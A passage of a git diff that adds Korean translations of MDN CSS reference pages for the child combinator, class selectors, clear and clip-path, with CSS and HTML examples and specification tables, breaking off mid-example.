+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">A very simple introduction to the CSS cascade</a></li>
+ <li>{{CSS_Key_Concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/child_combinator/index.html b/files/ko/web/css/child_combinator/index.html
new file mode 100644
index 0000000000..dceec68d92
--- /dev/null
+++ b/files/ko/web/css/child_combinator/index.html
@@ -0,0 +1,92 @@
+---
+title: 자식 결합자
+slug: Web/CSS/Child_combinator
+tags:
+ - CSS
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Child_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><strong>자식 결합자</strong>(<code>&gt;</code>)는 두 개의 CSS 선택자 사이에 위치하여 뒤쪽 선택자의 요소가 앞쪽 선택자 요소의 바로 밑에 위치할 경우에만 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* List items that are children of the "my-things" list */
+ul.my-things &gt; li {
+ margin: 2em;
+}</pre>
+
+<p>뒤쪽 선택자의 요소는 앞쪽 선택자 요소의 바로 아래에 위치해야 하므로, DOM 트리의 깊이에 상관하지 않고 아래의 모든 요소를 선택하는 <a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a>보다 더 엄격합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">selector1 &gt; selector2 { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+ background-color: white;
+}
+
+div &gt; span {
+ background-color: DodgerBlue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;span&gt;Span #1, in the div.
+ &lt;span&gt;Span #2, in the span that's in the div.&lt;/span&gt;
+ &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Span #3, not in the div at all.&lt;/span&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#child-combinators", "child combinator")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors", "#child-combinators", "child combinators")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "selector.html#child-selectors", "child selectors")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.child")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a></li>
+</ul>
diff --git a/files/ko/web/css/class_selectors/index.html b/files/ko/web/css/class_selectors/index.html
new file mode 100644
index 0000000000..70c84faa98
--- /dev/null
+++ b/files/ko/web/css/class_selectors/index.html
@@ -0,0 +1,107 @@
+---
+title: 클래스 선택자
+slug: Web/CSS/Class_selectors
+tags:
+ - CSS
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Class_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>클래스 선택자</strong>는 요소의 {{htmlattrxref("class")}} 특성에 기반해 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* All elements with class="spacious" */
+.spacious {
+ margin: 2em;
+}
+
+/* All &lt;li&gt; elements with class="spacious" */
+li.spacious {
+ margin: 2em;
+}
+
+/* All &lt;li&gt; elements with a class list that includes both "spacious" and "elegant" */
+/* For example, class="elegant retro spacious" */
+li.spacious.elegant {
+ margin: 2em;
+}
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">.class_name { <em>style properties</em> }</pre>
+
+<p>위의 구문은 <a href="/ko/docs/Web/CSS/Attribute_selectors">특성 선택자</a>를 사용한 다음 구문과 동일합니다.</p>
+
+<pre class="syntaxbox">[class~=class_name] { <em>style properties</em> }</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.red {
+ color: #f33;
+}
+
+.yellow-bg {
+ background: #ffa;
+}
+
+.fancy {
+ font-weight: bold;
+ text-shadow: 4px 4px 3px #77f;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="red"&gt;빨간 글자색의 문단입니다.&lt;/p&gt;
+&lt;p class="red yellow-bg"&gt;빨간 글자색과 노란 배경의 문단입니다.&lt;/p&gt;
+&lt;p class="red fancy"&gt;빨간 글자색과 "멋진" 스타일을 가진 문단입니다.&lt;/p&gt;
+&lt;p&gt;이건 그냥 문단이에요.&lt;/p&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.class")}}</p>
diff --git a/files/ko/web/css/clear/index.html b/files/ko/web/css/clear/index.html
new file mode 100644
index 0000000000..f4ed21f1e9
--- /dev/null
+++ b/files/ko/web/css/clear/index.html
@@ -0,0 +1,231 @@
+---
+title: clear
+slug: Web/CSS/clear
+tags:
+ - CSS
+ - CSS Positioning
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/clear
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>clear</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소가 선행 <a href="/ko/docs/Web/CSS/float">부동</a>(floating) 요소 다음일 수 있는지 또는 그 아래로 내려가(해제되어(cleared))야 하는 지를 지정합니다. <code>clear</code> 속성은 부동 및 비부동 요소 모두에 적용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/clear.html")}}</div>
+
+
+
+<p>비부동 블록에 적용되는 경우, 모든 관련 부동체(floats)의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">마진 경계</a> 아래로까지 요소의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">보더 경계</a>를 아래로 내립니다. 이 움직임(이 일어나는 경우)은 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing" title="margin collapsing">마진 상쇄</a>가 일어나지 않도록 합니다.</p>
+
+<p>부동 요소에 적용되는 경우, 모든 관련 부동체의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">마진 경계</a> 아래로 요소의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">마진 경계</a>를 옮깁니다. 이는 나중(later) 부동체의 위치에 영향을 줍니다, 나중 부동체가 앞선(earlier) 부동체보다 높게 위치될 수 없기에.</p>
+
+<p>해제(cleared)와 관련된 부동체는 같은 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context" title="block formatting context">블록 형성 문맥</a> 내 앞선 부동체입니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 요소가 그 안에 모든 부동 요소를 포함하고 싶은 경우, 컨테이너도 부동하거나 컨테이너의 {{cssxref("::after")}} 대체 <a href="/ko/docs/Web/CSS/Pseudo-elements">가상 요소</a>에 <code>clear</code>를 쓸 수 있습니다.</p>
+
+<pre class="brush: css">#container::after {
+ content: "";
+ display: block;
+ clear: both;
+}
+</pre>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+/* 전역 값 */
+clear: inherit;
+clear: initial;
+clear: unset;</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>요소가 지난 부동 요소를 해제하기 위해 아래로 이동되지 <em>않음</em>을 나타내는 키워드입니다.</dd>
+ <dt><code>left</code></dt>
+ <dd>요소가 지난 <em>left</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.</dd>
+ <dt><code>right</code></dt>
+ <dd>요소가 지난 <em>right</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.</dd>
+ <dt><code>both</code></dt>
+ <dd>요소가 지난 <em>both</em> left 및 right 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.</dd>
+ <dt><code>inline-start</code></dt>
+ <dd>요소가 <em>포함 블록의 시작 쪽</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 <em>left</em> 부동체 및 rtl 스크립트의 <em>right</em> 부동체.</dd>
+ <dt><code>inline-end</code></dt>
+ <dd>요소가 <em>포함 블록의 끝 쪽</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 <em>right</em> 부동체 및 rtl 스크립트의 <em>left</em> 부동체.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="clear:_left" name="clear:_left">clear: left</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+ &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+ &lt;p class="left"&gt;This paragraph clears left.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+ border:1px solid black;
+ padding:10px;
+}
+.left {
+    border: 1px solid black;
+    clear: left;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+ width: 20%;
+}
+.red {
+    float: left;
+    margin: 0;
+    background-color: red;
+ width:20%;
+}
+p {
+    width: 50%;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('clear:_left','100%','250') }}</p>
+
+<h3 id="clear:_right" name="clear:_right">clear: right</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+ &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+ &lt;p class="right"&gt;This paragraph clears right.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+ border:1px solid black;
+ padding:10px;
+}
+.right {
+    border: 1px solid black;
+    clear: right;
+}
+.black {
+    float: right;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+ width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+ width:20%;
+}
+p {
+    width: 50%;
+}</pre>
+
+<p>{{ EmbedLiveSample('clear:_right','100%','250') }}</p>
+
+<h3 id="clear:_both" name="clear:_both">clear: both</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor. Fusce pulvinar lacus ac dui.&lt;/p&gt;
+ &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+ &lt;p class="both"&gt;This paragraph clears both.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+ border:1px solid black;
+ padding:10px;
+}
+.both {
+    border: 1px solid black;
+    clear: both;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+ width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+ width:20%;
+}
+p {
+    width: 45%;
+}</pre>
+
+<p>{{ EmbedLiveSample('clear:_both','100%','300') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+ <td>{{Spec2('CSS Logical Properties')}}</td>
+ <td><code>inline-start</code> 및 <code>inline-end</code> 값 추가</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>중요한 변화 없음, 세부사항은 명확해졌지만.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#clear', 'clear')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.clear")}}</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="Box model">박스 모델</a></li>
+</ul>
diff --git a/files/ko/web/css/clip-path/index.html b/files/ko/web/css/clip-path/index.html
new file mode 100644
index 0000000000..588fb46724
--- /dev/null
+++ b/files/ko/web/css/clip-path/index.html
@@ -0,0 +1,614 @@
+---
+title: clip-path
+slug: Web/CSS/clip-path
+tags:
+ - CSS
+ - CSS Masking
+ - CSS Property
+ - Experimental
+ - Reference
+ - Web
+translation_of: Web/CSS/clip-path
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>clip-path</strong></code> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 클리핑 범위를 지정합니다. 클리핑 범위 안의 부분은 보여지고, 바깥은 숨겨집니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/clip-path.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+clip-path: none;
+
+/* &lt;clip-source&gt; 값 */
+clip-path: url(resources.svg#c1);
+
+/* &lt;geometry-box&gt; 값 */
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+
+/* &lt;basic-shape&gt; 값 */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+clip-path: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z');
+
+/* 박스와 도형 값 조합 */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* 전역 값 */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+</pre>
+
+<p><code>clip-path</code> 속성은 아래의 값을 하나 이상 조합해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;clip-source&gt;</code></dt>
+ <dd><a href="/ko/docs/Web/SVG">SVG</a> {{SVGElement("clipPath")}} 요소를 가리키는 {{cssxref("&lt;url&gt;")}}.</dd>
+ <dt>{{cssxref("&lt;basic-shape&gt;")}}</dt>
+ <dd><code>&lt;geometry-box&gt;</code> 값으로 크기와 위치가 정해지는 도형. <code>&lt;geometry-box&gt;</code>를 지정하지 않는다면 <code>border-box</code>를 참조 박스로 사용합니다.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd><code>&lt;basic-shape&gt;</code>와 함께 지정하면, <code>&lt;basic-shape&gt;</code>의 참조 박스를 정의합니다. 단독으로 지정한 경우, 값으로 주어진 상자와 그 상자의 모서리 형태({{cssxref("border-radius")}} 등)를 클리핑 패스로 적용합니다. 가능한 값은 다음과 같습니다.</dd>
+ <dd>
+ <dl>
+ <dt><code>margin-box</code></dt>
+ <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#margin-box">바깥 여백 상자</a>를 참조로 사용합니다.</dd>
+ <dt><code>border-box</code></dt>
+ <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#border-box">테두리 상자</a>를 참조로 사용합니다.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#padding-box">안쪽 여백 상자</a>를 참조로 사용합니다.</dd>
+ <dt><code>content-box</code></dt>
+ <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#content-box">콘텐츠 상자</a>를 참조로 사용합니다.</dd>
+ <dt><code>fill-box</code></dt>
+ <dd>객체의 바운딩 상자를 참조로 사용합니다.</dd>
+ <dt><code>stroke-box</code></dt>
+ <dd>테두리 바운딩 상자를 참조로 사용합니다.</dd>
+ <dt><code>view-box</code></dt>
+ <dd>가장 가까운 SVG 뷰포트를 참조 상자로 사용합니다. SVG 뷰포트를 생성한 요소가 {{SVGAttr("viewBox")}} 속성을 가진 경우, 참조 상자의 위치는 <code>viewBox</code> 속성이 정의하는 좌표계의 원점에 위치하고, 크기는 <code>viewBox</code> 속성의 너비와 높이 값과 동일합니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>클리핑 패스를 생성하지 않습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: {{cssxref("opacity")}}가 1이 아닌 값일 때와 마찬가지로, <strong><code>none</code></strong> 외의 계산값은 새로운 <a href="/ko/docs/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML과_SVG의_차이점">HTML과 SVG의 차이점</h3>
+
+<div class="hidden" id="clip-path">
+<pre class="brush: html">&lt;svg class="defs"&gt;
+ &lt;defs&gt;
+ &lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&gt;
+ &lt;path d="M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z" /&gt;
+ &lt;/clipPath&gt;
+ &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;div class="grid"&gt;
+ &lt;div class="col"&gt;
+ &lt;div class="note"&gt;clip-path: none&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="none"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="none"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: url(#myPath)&lt;br&gt;&lt;br&gt;
+ Assuming the following clipPath definition:
+ &lt;pre&gt;
+&amp;lt;svg&amp;gt;
+ &amp;lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&amp;gt;
+ &amp;lt;path d="M0.5,1
+ C 0.5,1,0,0.7,0,0.3
+ A 0.25,0.25,1,1,1,0.5,0.3
+ A 0.25,0.25,1,1,1,1,0.3
+ C 1,0.7,0.5,1,0.5,1 Z" /&amp;gt;
+ &amp;lt;/clipPath&amp;gt;
+&amp;lt;/svg&amp;gt;&lt;/pre&gt;
+ &lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="svg"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="svg"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: path('M15,45 A30,30,0,0,1,75,45 A30,30,0,0,1,135,45 Q135,90,75,130 Q15,90,15,45 Z')
+ &lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="svg2"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="svg2"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+
+
+ &lt;div class="note"&gt;clip-path: circle(25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape1"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape1"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape2"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape2"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: fill-box circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape3"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape3"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: stroke-box circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape4"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape4"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: view-box circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape5"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape5"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: margin-box circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
+ &lt;p class="shape6"&gt;
+ I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+ &lt;div class="container viewbox"&gt;
+ &lt;svg viewBox="0 0 192 192"&gt;
+ &lt;g class="shape6"&gt;
+ &lt;rect x="24" y="24" width="144" height="144" /&gt;
+ &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+ &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+ &lt;/g&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;clip-path: border-box circle(25% at 25% 25%)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+ &lt;div class="container"&gt;
